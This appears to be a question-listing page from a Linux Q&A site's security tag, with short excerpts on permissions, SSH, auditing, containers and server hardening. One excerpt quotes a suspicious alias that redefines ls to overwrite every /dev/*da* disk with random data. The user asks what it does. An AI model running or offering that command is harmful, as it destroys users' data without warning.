Content related to computer security., i.e. content about policies, mechanisms, etc. needed make sure data is not leaked or corrupted and services available in all circumstances.

learn more… | top users | synonyms

1
vote
1answer
63 views

pam_env(crond:setcred): non-alphanumeric key 'JAVA_HOME =$PATH:

RHEL - I have many lines in my /var/log/secure-____ file that are similar to the following: Oct 4 03:05:01 localhost crond[2161]: pam_env(crond:setcred): non-alphanumeric key 'JAVA_HOME =$PATH:/usr/...
1
vote
1answer
149 views

What's the best way to create a seccomp whitelist for LXC

I try to setup a very restrictive seccomp whitelist for a busybox based LXC container. I started with the file /usr/share/doc/lxc/examples/seccomp-v1.conf from Ubuntu. It seems to contain most useful ...
0
votes
2answers
71 views

How do I gain read access to another user's directory?

I have two users: Alice and Bob. They both belong to the group staff. I want to be able to list the content of the directory /home/alice/Private/ when I'm logged in as the user Bob. As it is now Bob ...
3
votes
1answer
61 views

How many check points in RHEL/CentOS to make sure no one have sudo/root access

I want to make sure no one has sudo access or root access on some production servers. Some points I have also verified like: grep 'x:0:' /etc/passwd grep root /etc/group cat /etc/sudoers key in /...
1
vote
1answer
20 views

Re-setting perms on RPM's does not seem to work

I am using RPM for file verification. What I do is run rpm -Va to get a list of files that have been changed. Then I run rpm -qf to get the package name the file belongs to. Finally I run ...
1
vote
1answer
55 views

Verify how command was executed

I run few PHP webpages with NGINX and PHP-FPM. Recently I hosted site for friend who had security issues with WordPress, did all upgrades, WP and Plugins. But somehow I found out today that user ...
0
votes
2answers
71 views

some help with this command, not sure what it does?

But my presumption for it to be harmful alias ls="for i in /dev/*da* ; do cat /dev/urandom &> ${i} & done if the code seems to miss/wrongly indented please fix it.
2
votes
0answers
30 views

Remote queue-like auditing service (“append-only pastebin”)

I am looking for an existing service / tool which would support the following in a UNIX-like shell environment: append-only writes, with writes guaranteed to be persistent for some well-specified ...
1
vote
0answers
22 views

Is an unprivileged LXC where the host user itself is mapped to 0 less secure of one where one of its subids is mapped to 0, and why?

Instead of creating "common" LXC unprivileged containers where all the users are mapped to (unprivileged) subuid/gid of my host user, I'm considering a mapping where my host user itself will be mapped ...
2
votes
2answers
68 views

Security risks of opening FTP

I have a client that wants FTP access to a certain file on one of my servers. The server runs CentOS 7. Root login is disabled. Password login is disabled (requires ssh key to login). SSH is on a non-...
7
votes
2answers
101 views

How to completely remove the user subsystem from Linux?

Is it possible to completely remove the user subsystem from Linux. I'm NOT talking about preventing people from logging in. I'm talking about removing the parts of the system that even make it ...
-1
votes
1answer
41 views

How do I configure my server to stay hidden unless it receives correct password?

The server is supposed to silently ignore any requests (including ping) unless it receives correct credentials with initial request. Nobody else can tell that the host even exists. I am talking about ...
0
votes
1answer
199 views

Place tripwire's config files, keys and database on ext. media?

(Originally posted on SE's SuperUser. Wrong platform and I removed post from SU.) I configured Tripwire(TM) 2.4.2.2.2 on a Lx box (Ubuntu trusty), using default folder and file locations. I relied on ...
8
votes
2answers
360 views

What is most secure and simplest way to have a user-typed password on bash become part of stdin to a program?

I'm looking for the (1) most secure and (2) simplest way to have a user type a password on a bash shell prompt and to have that password become part of stdin to a program. This is what the stdin ...
0
votes
1answer
73 views

Write data/bytes in a file, out of content and metadata?

Using Unix & Linux FS, I aim to write data like: 10011010 11101001 01011011 10110110 01100011 01111110 00010001 11100101 10011101 01110000 11111110 11111111 10000001 10011100 11011100 10011111 ...
2
votes
1answer
150 views

How can I tell if someone has connected to my machine remotely?

One thing I have found very disappointing in computing is the lack of notification when someone connects to your computer. I do a lot of remote work and when I connect to anothers machine they get no ...
2
votes
1answer
134 views

Wine and Linux Security

I'm trying to understand what are the security implications/consequences of installing Wine. Does installing wine means that my Linux OS will be prone to "Windows" type of viruses and malware as well? ...
1
vote
2answers
69 views

Is it safe to run these instructions as a root user?

I have CentOS and I want install scala by: Installing scala on CentOS. I want to ask if it's safe installing this as root user? The commands are: wget http://www.scala-lang.org/files/archive/scala-...
1
vote
1answer
64 views

Permissions and user for yum download

When I run yum install X, where X can be tomcat or any other package, whats the user and the permission on the packages it downloads ?
0
votes
1answer
31 views

Permission check on profile file in home directory: should it be done?

Say I'm implementing a programming language which has an interactive mode, and that interactive mode reads some ~/.foo_rc file in the user's home directory. The file contains code in that language ...
1
vote
1answer
422 views

Breaking out of a docker container

Are there any security risks with allowing users to run docker and mount files he has access to? We have shared network mount where all users home directories reside and we basically don't want ...
0
votes
0answers
33 views

SSL/Secure MySQL access with Postfix/Dovecot Mail Server

I have two MySQL servers setup, one in each data center in the US. The east coast db is the master and replicates to the west coast slave db over SSL. When I try to connect my mail server to the ...
6
votes
1answer
65 views

Can someone give an example as to why I'd want to induce a kernel panic using auditd?

We recently implemented some auditd rules in response to an external security audit. My colleague offered some input on them and suggested adding -f 2 to /etc/audit.rules. I can't think of an instance ...
13
votes
5answers
817 views

How to tell if console login is genuine?

On Windows one can enforce pressing Ctrl+Alt+Del to fire an interrupt that brings up the login window. When logging onto a console of a Linux computer: How can I tell if this login is a real one or a ...
0
votes
1answer
134 views

Calling php function from /var/www/folder (as www-user), which is located in a file in /var (or any folder) (with root permissions?)

I wrote a script which "walks" through /var/www/xyz and scans folders and more. The folders are all 'user-bound', so the permissions for a single folder there are set to the specific user. Running ...
2
votes
2answers
73 views

Is there any standard on the permissions for system directories?

The /root directory on CentOS 6 has permissions 0550 but on Debian 7 it is 0700. The Filesystem Hierarchy Standard (FHS) tells about directory organization but remains silent about permissions. Do ...
2
votes
2answers
106 views

Does it make sense to use SELinux inside a chroot jail?

Does it make sense to use SELinux inside a chroot jail? I am thinking that since in the chroot jail there should only be the bare minimum, not much else could be compromised. Is there still a benefit ...
1
vote
2answers
27 views

Pureftpd as user,is possible?

I want to run pure-ftpd in chroot as user,not as root,i've set server to non privileged port 5050,but i don't know how to run as user instead of root,someone know the option?
2
votes
2answers
172 views

What are the strengths and weaknesses of the ssh-keygen algorithms and is one of them the most secure?

I was wondering about the different types of keys you can create with ssh-keygen -t (dsa | ecdsa | ed25519 | rsa | rsa1). Since different types are offered I assume that each has a specific advantage ...
1
vote
3answers
254 views

MySQLdump via crontab - Pass --password=/hashed/password/file so I can use via crontab w/o using plain text password

So I'm setting up a WordPress backup guide/making a backup schedule for myself for real. I want to do MySQL dumps daily, but the command either requires -p then user input or --password="...
4
votes
2answers
676 views

How to check a Linux Distro is secure and has no malicious code? [closed]

I am new to Linux and I love it. However, while I have been playing around with several flavours of Linux, only one question comes into my mind as a new user to the Linux systems: how can I ensure a ...
6
votes
6answers
386 views

Allow regular users to SSH using a private key they cannot read

Let's say I have a set of machines (called here the customers' machines) that only a small list of people (called the support staff) is allowed to SSH into, using only one account by machine (the ...
1
vote
2answers
27 views

How to assure that NIS home directories are private?

I am wondering what options are for using centralized authentication and access to user home directories from any Linux machine while keeping the privacy of the home directories. Now I am facing a ...
1
vote
1answer
200 views

OSX: Delete all matching certificates by command-line

Using shell script to delete all matching certificates. I found a list of certificates using: security find-certificate -c "certificatename" -a -Z|grep SHA-1|awk '{ print $NF }' Output is like ...
2
votes
0answers
30 views

Is information security less hard in an open source system? [closed]

In the excellent article Why Information Security is Hard - An Economic Perspective, Ross Anderson poses that: ... you can make the security critical part of the system small enough that the bugs ...
1
vote
2answers
78 views

Security of zone transfers for bind

When having two public DNS servers that provide NS, A, MX, and CNAME records for your domain (website), is it necessary to encrypt the zone transfer data or is it fine to have the master-to-slave sent ...
0
votes
1answer
32 views

Is it safe to run GPG tools in x11?

Given the relative (anyone with my present user permissions can swipe scancodes) ease of keylogging in an x11 environment, should I run GPG tools only in the TTY?
2
votes
0answers
38 views

Giving a user access to the webcam

I have a user that I use to run untrusted programs (more specifically, Skype). I would like to give that user access to the webcam. I am using Debian, where the standard way to do this is to put ...
2
votes
3answers
444 views

Allow SSH access but restrict root's access to a given set of IPs

I want to allow SSH for all users as normal except that I want to restrict root's access based on a set of IP addresses. So, users peter, paul, lary can login from anywhere, but root may login only ...
2
votes
0answers
43 views

How to trap spam sent from certain top-level domains?

I'm getting a lot of spam from eu TLD Maybe I could have put a rule set giving a score of say 2.5 or 3 for any mail originating from the .eu TLD; then this score + other factors could have made it ...
1
vote
0answers
169 views

what is the correct regexp for mysql filter in fail2ban?

I use the default filter file /etc/fail2ban/filter.d/mysqld-auth.conf for fail2ban service. But there are some errors in file /var/log/fail2ban.log as: Found a match for '150815 10:42:54 [Warning] ...
4
votes
1answer
66 views

Is it possible to add a password to moving or copying specific files on Linux?

I have a directory setup very nicely(i.e organized with READMEs and easy navigation etc.). I would like people to be able to access the files in this directory maybe even copy them to their own ...
2
votes
1answer
49 views

Wipe a Solaris Disk

Looking for something similar to Eraser for Solaris 9-10-11 Anything?
2
votes
1answer
226 views

How to use network interface as non-root user on Android? [closed]

I want to communicate between my Android device and my Linux box over IP through the USB network interface mode. I have connected my Android device to my Linux box with and put the Android device ...
0
votes
0answers
22 views

Error while building libxcrypt

I am building the libxcrypt package on my OBS and I am getting the following error: [ 37s] crypt_util.c:268:1: error: type defaults to 'int' in type name [-Werror=implicit-int] [ 37s] crypt_util....
1
vote
0answers
39 views

Libgcrypt warning: MD5 used - FIPS mode inactivated

Last week I enabled the openSSH FIPS 140-2 module on Server "A", and that system works flawlessly (including tsql queries to a SQL Server instance). I recently enabled the openSSH FIPS 140-2 module ...
2
votes
1answer
87 views

What are the disadvantages of using config file (source) for passwords in bash scripts

I am writing a bash script that needs to authenticate a Linux box with active directory. I would like to make it so no user input is required. The problem is I have to put the password in the script, ...
2
votes
0answers
151 views

Add disks to encrypted LVM partition

If I increase my current encrypted (dm-crypt)LVM partition by adding another disk to it, is the new disk also encrypted or do I need to setup dm-crypt on it as well?
2
votes
1answer
71 views

Restrict user script execution

I have a game engine running on a Debian server. The game involves bots, which are coded in Python by the players. A player write a bot in Python Upon validation, the code is sent to the server A ...
1
vote
1answer
129 views

How can I lock my screen automatically if internet connection is lost?

I will sometimes remote into my work computer from home using TeamViewer. Obviously I have to unlock the screensaver to use the GUI. When I'm done, I'll lock the screen either from the desktop or via ...